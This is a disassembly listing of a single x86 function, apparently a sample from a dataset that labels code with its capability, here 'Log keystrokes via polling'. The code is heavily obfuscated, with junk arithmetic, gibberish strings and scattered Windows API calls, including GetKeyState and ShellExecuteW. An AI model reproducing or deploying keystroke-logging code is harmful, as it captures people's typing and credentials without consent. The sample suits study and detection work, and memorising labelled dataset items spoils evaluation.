Function at 0x1002c4ef
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x1005f23c
call fcn.1005dc20
sub esp, 0x240
push ebx
mov dword [ebp - 0x94], ecx
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x24], 0x62d5e48d
push esi
mov dword [ebp - 0x24], 0xffffffe8
inc ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0x174], ebx
cmp dword [ebp - 0x24], ecx
jge 0x1002c631
mov esi, dword [sym.imp.USER32.dll_GetDC]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x1002c55c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x170], 0x5683c8fc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002c54b
mov dword [ebp - 0x28], ebx
jmp 0x1002c61c
mov dword [ebp - 0x18], 0x7822e6e
mov dword [ebp - 0x18], ebx
jmp 0x1002c5f4
mov dword [ebp - 0x1c], ebx
jmp 0x1002c589
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x54], 0x4990069f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002c57b
cmp dword [ebp - 0x18], ebx
jne 0x1002c5fd
mov dword [ebp - 0x54], ebx
jmp 0x1002c5ec
cmp dword [ebp - 0x28], ebx
je 0x1002c5d3
mov dword [ebp - 0x1c], 0xedfa831e
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], ebx
jl 0x1002c5e9
mov eax, dword [ebp - 0x54]
cmp dword [ebp + eax*4 - 0x170], ebx
jne 0x1002c5e6
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1002c5cc
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
dec dword [ebp - 0x1c]
jns 0x1002c5ac
jmp 0x1002c5e6
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1002c5e9
push 0xa92
call dword [sym.imp.USER32.dll_GetKeyState]
xor ecx, ecx
inc ecx
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], ecx
jle 0x1002c598
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x1002c576
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1002c619
push 0xebb
call edi
push eax
call esi
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
xor ecx, ecx
inc ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ecx
jle 0x1002c56a
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002c53f
mov dword [ebp - 0x6c], 0x25007f03
or edi, 0xffffffff
mov word [ebp - 0x68], 0x1b06
mov byte [ebp - 0x66], cl
mov dword [ebp - 0x65], 0x89b30330
mov dword [ebp - 0x61], 0x503025b
mov word [ebp - 0x5d], 0x403
mov byte [ebp - 0x5b], 0xd
mov dword [ebp - 0x28], 0xd5de1fc6
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], 2
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], 0x1cb45490
mov dword [ebp - 0x34], 0xca4024ff
mov dword [ebp - 0x28], ebx
jmp 0x1002c691
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x44], 0x9b6917ab
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1002c683
mov eax, dword [ebp - 0x44]
xor edx, edx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
imul ecx, ecx, 0xdefc
sub ecx, eax
mov dword [ebp - 0x1c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
cmp eax, 0xd1cc
mov eax, dword [ebp - 0x44]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
cmp ecx, 0x67dcc35
setne al
sub eax, 5
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002c874
push 1
lea ecx, [ebp - 0xdc]
call fcn.10005147
push 4
lea ecx, [ebp - 0x14c]
mov dword [ebp - 4], ebx
call fcn.10005147
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x24], ebx
jmp 0x1002c755
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xac], 9
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x1002c744
mov dword [ebp - 0x24], ebx
jmp 0x1002c76f
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xdc]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 1
jl 0x1002c760
mov dword [ebp - 0x24], ebx
jmp 0x1002c78d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14c]
mov dword [eax + ecx*4], 0xfabe4bca
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002c77a
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xac], ecx
mov edx, dword [eax]
mov eax, dword [ebp - 0x1c]
imul edx, ecx
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x44]
setle cl
xor edx, edx
cmp ecx, 0x2fa57a88
setl dl
sub edx, eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], edx
xor edx, edx
cmp dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp eax, edx
mov edx, dword [ebp - 0xdc]
setne cl
xor eax, eax
cmp ecx, dword [edx]
setle al
xor ecx, ecx
cmp eax, 6
mov eax, dword [ebp - 0x14c]
setne cl
mov dword [eax + 0xc], ecx
mov esi, dword [edx]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
dec edx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
sub eax, ecx
xor ecx, ecx
cmp eax, edi
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp eax, ecx
setge dl
xor ecx, ecx
sub edx, esi
cmp edx, esi
setne cl
xor eax, eax
add ecx, 0x485393f1
cmp ecx, esi
setl al
sub eax, esi
jne 0x1002c84a
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
call fcn.100051ca
lea ecx, [ebp - 0xdc]
mov dword [ebp - 4], edi
call fcn.100051ca
xor esi, esi
inc esi
jmp 0x1002c94c
push dword [ebp - 0x7c]
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x24], 0x2f01
push eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0xb8], ebx
push eax
xorps xmm0, xmm0
mov dword [ebp - 0xb4], ebx
push ebx
lea ecx, [ebp - 0xb8]
mov dword [ebp - 0xb0], ebx
movdqu xmmword [ebp - 0x1e0], xmm0
call fcn.100098a4
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x1c], ebx
jmp 0x1002c8ca
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1a0], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c8bd
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], ebx
jl 0x1002c900
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], bl
je 0x1002c8f4
push ebx
push 0x5e1
push 0x1dea
call dword [sym.imp.GDI32.dll_CreatePen]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x44]
dec dword [ebp - 0x1c]
jns 0x1002c8db
cmp dword [ebp - 0x24], ebx
je 0x1002c91e
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
sub eax, 0x39bced0d
je 0x1002c91e
mov edx, esi
cmp dword [ebp - 0x24], ebx
jne 0x1002c920
mov edx, ebx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xb8]
mov dword [eax + 0xc], ecx
lea ecx, [ebp - 0xb8]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x38], eax
call fcn.100051ca
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x30], ebx
jne 0x1002c98c
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x28]
je 0x1002c95f
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x28]
cmp eax, 0x5a18187e
mov eax, dword [ebp - 0x30]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp dword [ebp - 0x1c], ecx
jg 0x1002c988
mov eax, dword [ebp - 0x1c]
mov eax, ebx
jmp 0x1002c98e
mov eax, esi
mov edx, dword [ebp - 0x44]
xor ecx, ecx
imul edx, eax
mov eax, dword [ebp - 0x44]
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x40]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setne cl
sub ecx, eax
je 0x1002c9c4
cmp dword [ebp - 0x44], ebx
jne 0x1002c9cb
mov edx, ebx
cmp dword [ebp - 0x34], ebx
je 0x1002c9cd
mov edx, esi
mov eax, dword [ebp - 0x44]
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
push 0x62
setl cl
add ecx, 0xb00f
pop eax
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x134]
push esi
mov word [ebp - 0xfe], ax
call fcn.10005147
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x38], 0xf37911b9
mov dword [ebp - 0x1c], ebx
jmp 0x1002ca21
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 0x5b57fd54
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002ca0e
mov dword [ebp - 0x1c], ebx
jmp 0x1002ca3c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], 0x4c506d44
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002ca2b
mov dword [ebp - 0x84], ebx
jmp 0x1002ca80
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 2
mov edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x134]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, dword [eax]
mov eax, dword [ebp - 0x34]
cmp eax, edx
setl cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x84]
cmp dword [ebp - 0x84], ebx
jle 0x1002ca4a
lea ecx, [ebp - 0x134]
call fcn.100051ca
push 2
pop edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], edi
cmp edi, 0x12
jae 0x1002cda9
movzx eax, byte [ebp - 0x6c]
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x1002cac7
movzx eax, byte [ebp + edi - 0x6c]
dec edi
add edi, eax
lea ecx, [eax + 1]
mov dword [ebp - 0x1c], ecx
jmp 0x1002cda1
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x24], 0xb74c38b6
mov dword [ebp - 0x38], 0x1b552bf3
mov dword [ebp - 0x34], 0x33c2251
mov dword [ebp - 0x2c], 0xfffa
mov dword [ebp - 0x3c], 0xfffd
mov dword [ebp - 0x18], 0xfff6
mov dword [ebp - 0x18], ebx
jmp 0x1002cb0e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xa0], 0x13923cc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cafd
mov eax, dword [ebp - 0x98]
xor edx, edx
cmp eax, 0xfffffff7
mov ecx, 0x7d2a7e9f
mov eax, dword [ebp - 0x34]
setle dl
sub ecx, edx
add eax, ecx
jne 0x1002cb37
mov ecx, ebx
cmp dword [ebp - 0x28], ebx
je 0x1002cb39
mov ecx, esi
mov eax, dword [ebp - 0x98]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor edx, edx
imul ecx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x38]
inc ecx
cmp eax, ecx
mov eax, dword [ebp - 0xa0]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xfffffffe
setle al
test eax, eax
jle 0x1002cb7e
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x2c]
mov ecx, esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xa0]
sub ecx, eax
mov eax, dword [ebp - 0x3c]
sub ecx, eax
jne 0x1002cb9c
mov edx, ebx
cmp dword [ebp - 0x28], ebx
je 0x1002cb9e
mov edx, esi
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
test ecx, ecx
setle dl
xor ecx, ecx
mov dword [ebp - 0xa0], edx
mov eax, dword [ebp - 0x34]
cmp edx, eax
movzx edx, byte [ebp + edi - 0x6b]
mov eax, edi
setg cl
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], ecx
movzx eax, byte [ebp + eax - 0x6e]
movzx eax, word [ebp + eax*2 - 0x104]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + edi - 0x6c]
mov word [ebp + eax*2 - 0x104], cx
mov dword [ebp - 0x24], 0x3d98
cmp dword [ebp - 0x24], 0x3f64
jle 0x1002cc52
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x218]
cdq
push edx
push eax
call fcn.10001aaa
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002cc24
mov eax, dword [eax]
push eax
call fcn.10046fe3
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x218]
call fcn.100055ae
mov eax, dword [ebp - 0x2c]
inc edi
cmp edi, 0x63b3
jl 0x1002cc08
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x56d9
jl 0x1002cc06
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0xfffffff8
lea ecx, [ebp - 0x110]
push 3
call fcn.10005147
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], ebx
jmp 0x1002cc81
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x110]
mov dword [eax + ecx*4], 0xe864896e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cc6e
mov dword [ebp - 0x1c], ebx
jmp 0x1002cc94
cmp dword [ebp - 0x1c], ebx
jne 0x1002cc9a
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe4
jl 0x1002cc8c
mov dword [ebp - 0x34], 0x3fa4
cmp dword [ebp - 0x34], 0x405f
jle 0x1002cd0d
mov ecx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x2c], ebx
mov ebx, dword [ebp - 0x28]
mov eax, edi
cdq
idiv dword [ebp - 0x2c]
and edx, ebx
xor edx, ecx
mov ecx, 0x100792d8
mov eax, edx
cdq
push edx
push eax
call fcn.10004ea6
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x647
jl 0x1002ccba
inc edi
push 0
pop ebx
cmp edi, 0x6897
jl 0x1002ccb4
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x3e56
jl 0x1002ccb2
inc ecx
mov dword [ebp - 0x18], ecx
cmp ecx, 0x6a65
jl 0x1002ccaf
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xfffffff6
mov eax, dword [ebp - 0x1c]
setne cl
xor edx, edx
cmp eax, ecx
setl dl
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x110]
mov byte [ebp - 4], 2
add edx, 3
cmp dword [ebp - 0x34], 0x3e87
mov dword [eax + 8], edx
jge 0x1002cd7b
mov edx, str.zcgct_zpyc_fbjek_jzlnxlwy_airqncq_tlgcc_rtyefww_ihiqojwhe_pyctaykdi_kicl_niqeksavj_nsup_shyjwkbxs
mov ecx, 0x100792d8
call fcn.10008ec9
jmp 0x1002cd7b
lea ecx, [ebp - 0x110]
call fcn.100051ca
cmp dword [ebp - 0x24], 0x3b46
jge 0x1002cd9a
push str.pap_lvg_idanmgkx_mzwodf_qawuh_tgch_cas_zuwvpq_hyhkk_jyw_hkfr_tcenkvsf_cujya_gmnejpmc
call fcn.10046fe3
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], ebx
add edi, 2
jmp 0x1002ca99
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], 0xffffffe2
cmp dword [ebp - 0x18], 0xffffffe8
jle 0x1002cde3
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002cdda
push 0x50a
push ebx
push ebx
push ebx
push ebx
call edi
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe8
jg 0x1002cdbf
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x18], eax
xor eax, eax
push esi
mov word [ebp - 0xf6], ax
call fcn.10005147
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1002ce19
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 4
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ce06
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002ce37
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov dword [ebp - 0x18], ebx
jmp 0x1002ce4b
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ce3c
lea ecx, [ebp - 0x128]
call fcn.100051ca
xor eax, eax
mov dword [ebp - 0x1a4], 7
mov word [ebp - 0x1b8], ax
lea ecx, [ebp - 0x1b8]
lea eax, [ebp - 0x104]
mov dword [ebp - 0x1a8], ebx
push eax
call fcn.100225f4
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x18], 8
push esi
call fcn.10005147
mov dword [ebp - 0x18], ebx
jmp 0x1002ceb8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x198]
mov dword [eax + ecx*4], 0xa0029bf3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002cea5
mov dword [ebp - 0x18], ebx
jmp 0x1002cef4
cmp dword [ebp - 0x18], ebx
jne 0x1002cefa
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1002cef1
push 0x11e
push 0x31
push 0x1bbc
push 0xa61
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffa
je 0x1002cec2
lea ecx, [ebp - 0x198]
call fcn.100051ca
push dword [ebp - 0xa4]
xor eax, eax
lea edi, [ebp - 0x104]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x1d0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10004fbb
mov byte [ebp - 4], 7
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x3c], 0xfffffffa
mov dword [ebp - 0x18], 0xf
jmp 0x1002cf52
cmp byte [ebp - 0x1d], 0
je 0x1002cf4f
push 0x13b9
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xc
mov byte [ebp - 0x1d], bl
jg 0x1002cf3d
cmp byte [ebp - 0x1d], 0
je 0x1002cf69
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0x5c
pop eax
mov cl, bl
mov dword [ebp - 0x4f], 0x95310345
push 2
mov byte [ebp - 0x50], cl
mov byte [ebp - 0x4b], 0x28
mov word [ebp - 0x58], ax
pop edi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], edi
cmp edi, 6
jae 0x1002d074
movzx eax, cl
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x1002cfb3
movzx eax, byte [ebp + edi - 0x50]
dec edi
add edi, eax
lea edx, [eax + 1]
mov dword [ebp - 0x2c], edx
jmp 0x1002d06c
mov dword [ebp - 0x18], 0x4daa
cmp dword [ebp - 0x18], 0x4eb9
jle 0x1002cff7
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov ebx, dword [ebp - 0x34]
mov eax, edi
mov ecx, 0x100792d8
xor eax, ebx
cdq
push edx
push eax
call fcn.10004ea6
inc edi
cmp edi, 0x37d4
jl 0x1002cfcb
inc ebx
push 0
mov dword [ebp - 0x34], ebx
cmp ebx, 0x7a8f
pop ebx
jl 0x1002cfc6
mov edi, dword [ebp - 0x30]
movzx edx, byte [ebp + edi - 0x4f]
mov eax, edi
sub eax, dword [ebp - 0x2c]
movzx eax, byte [ebp + eax - 0x52]
movzx ecx, word [ebp + eax*2 - 0x58]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x50]
add ecx, edx
mov byte [ebp - 4], 8
cmp dword [ebp - 0x18], 0x4ba8
mov word [ebp + eax*2 - 0x58], cx
jge 0x1002d05f
mov edx, str.nsnjwhqp_ponnqxox_chygrs
mov ecx, 0x100792d8
call fcn.10008ec9
jmp 0x1002d05f
mov dword [ebp - 4], 7
mov cl, byte [ebp - 0x50]
mov dword [ebp - 0x2c], ebx
add edi, 2
jmp 0x1002cf86
xor eax, eax
mov dword [ebp - 0xe0], 7
mov word [ebp - 0x56], ax
lea ecx, [ebp - 0xf4]
mov word [ebp - 0xf4], ax
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0xe4], ebx
call fcn.100225f4
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x1c], 0x1f2c29a3
mov dword [ebp - 0x18], ebx
jmp 0x1002d0c1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x8c], 0xaf1124f0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002d0b0
mov dword [ebp - 0x1c], ebx
jmp 0x1002d0dc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x8c], 0x603fa75c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002d0cb
mov dword [ebp - 0x8c], 0xe29e
imul eax, dword [ebp - 0x1c], 0xe29e
test eax, eax
je 0x1002d1c1
mov dword [ebp - 0x34], 0x5587
cmp dword [ebp - 0x34], 0x562d
jle 0x1002d184
push ebx
push ebx
push 0x30b
push 0x26e9
push ebx
call dword [sym.imp.USER32.dll_InsertMenuW]
mov ecx, ebx
mov dword [ebp - 0x30], ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
cdq
idiv edi
mov eax, ecx
mov ecx, edx
shl eax, cl
lea ecx, [ebp - 0x230]
cdq
push edx
push eax
call fcn.10001aaa
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d14a
mov eax, dword [eax]
push eax
call fcn.10046fe3
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x230]
call fcn.100055ae
mov eax, dword [ebp - 0x2c]
inc edi
mov ecx, dword [ebp - 0x30]
cmp edi, 0x5f47
jl 0x1002d129
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x130d
jl 0x1002d127
inc ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 0x4246
jl 0x1002d122
mov byte [ebp - 0x1d], bl
cmp dword [ebp - 0x34], 0x53da
jge 0x1002d19b
push str.taxjygnu_ciacbedcc_svarzs_oizz_ezlfeqd_tyvlbxoek_dwg_qoyprnwj
call fcn.10046fe3
pop ecx
mov dword [ebp - 4], 0xa
cmp byte [ebp - 0x1d], 0
je 0x1002d1d7
push ebx
push 0x23b2
push ebx
push 0xfac
push 0x246e
call dword [sym.imp.GDI32.dll_ExtCreatePen]
jmp 0x1002d1d7
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x1c], ebx
jmp 0x1002d1d1
cmp dword [ebp - 0x3c], ebx
jne 0x1002d1d7
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
jle 0x1002d1c9
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x30], 0x7645
cmp dword [ebp - 0x30], 0x765c
jle 0x1002d273
mov edx, ebx
mov dword [ebp - 0x18], ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x34], ebx
mov ecx, edi
mov dword [ebp - 0x3c], ebx
shl eax, cl
mov edi, ebx
mov dword [ebp - 0x38], eax
mov ecx, edi
sar eax, cl
lea ecx, [ebp - 0x248]
or eax, edx
cdq
push edx
push eax
call fcn.10001aaa
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d227
mov eax, dword [eax]
push eax
call fcn.10046fe3
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x248]
call fcn.100055ae
mov edx, dword [ebp - 0x18]
inc edi
mov eax, dword [ebp - 0x38]
cmp edi, 0x10b6
jl 0x1002d209
mov edi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x34], edi
cmp edi, 0x74a5
jl 0x1002d1fd
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x739f
jl 0x1002d1f8
inc edx
mov dword [ebp - 0x18], edx
cmp edx, 0x1b5f
jl 0x1002d1f3
mov dword [ebp - 0x3c], 0xef9d7865
cmp dword [ebp - 0x30], 0x72bc
jge 0x1002d28e
push str.bloing_jrtcdu_pwp_lmdbbxiiy_sabk_aaozex_wtrjw_joupxp_eyfzwr_cixorykti_eanwhbshg
call fcn.10046fe3
pop ecx
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x18], 0x2c36544d
mov dword [ebp - 0x34], 0xf948
mov dword [ebp - 0x30], 0xb16eb2d3
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1002d2c4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x70], 0x184c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002d2b6
mov dword [ebp - 0x1c], ebx
jmp 0x1002d2dc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x74], 0xc106ec6e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002d2ce
cmp dword [ebp - 0x70], ebx
je 0x1002d2fb
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov edx, esi
cmp edx, eax
mov eax, esi
setge cl
mov dword [ebp - 0x74], ecx
test ecx, ecx
jne 0x1002d2fd
mov eax, ebx
mov dword [ebp - 0x3c], eax
push 0x5f
pop eax
mov word [ebp - 0x80], ax
xor eax, eax
mov byte [ebp - 0x78], bl
mov byte [ebp - 0x77], 0xfa
mov word [ebp - 0x7e], ax
mov dword [ebp - 0x28], 0x75b57fd5
push 0xfffffffffffffff6
pop edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], 0x95998ab5
mov dword [ebp - 0x2c], 0x795ed7c6
mov dword [ebp - 0x18], 0xca955a63
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x28], ebx
jmp 0x1002d4f2
mov dword [ebp - 0x30], 0x377cc424
xor edx, edx
mov dword [ebp - 0x34], 0x70012af0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], esi
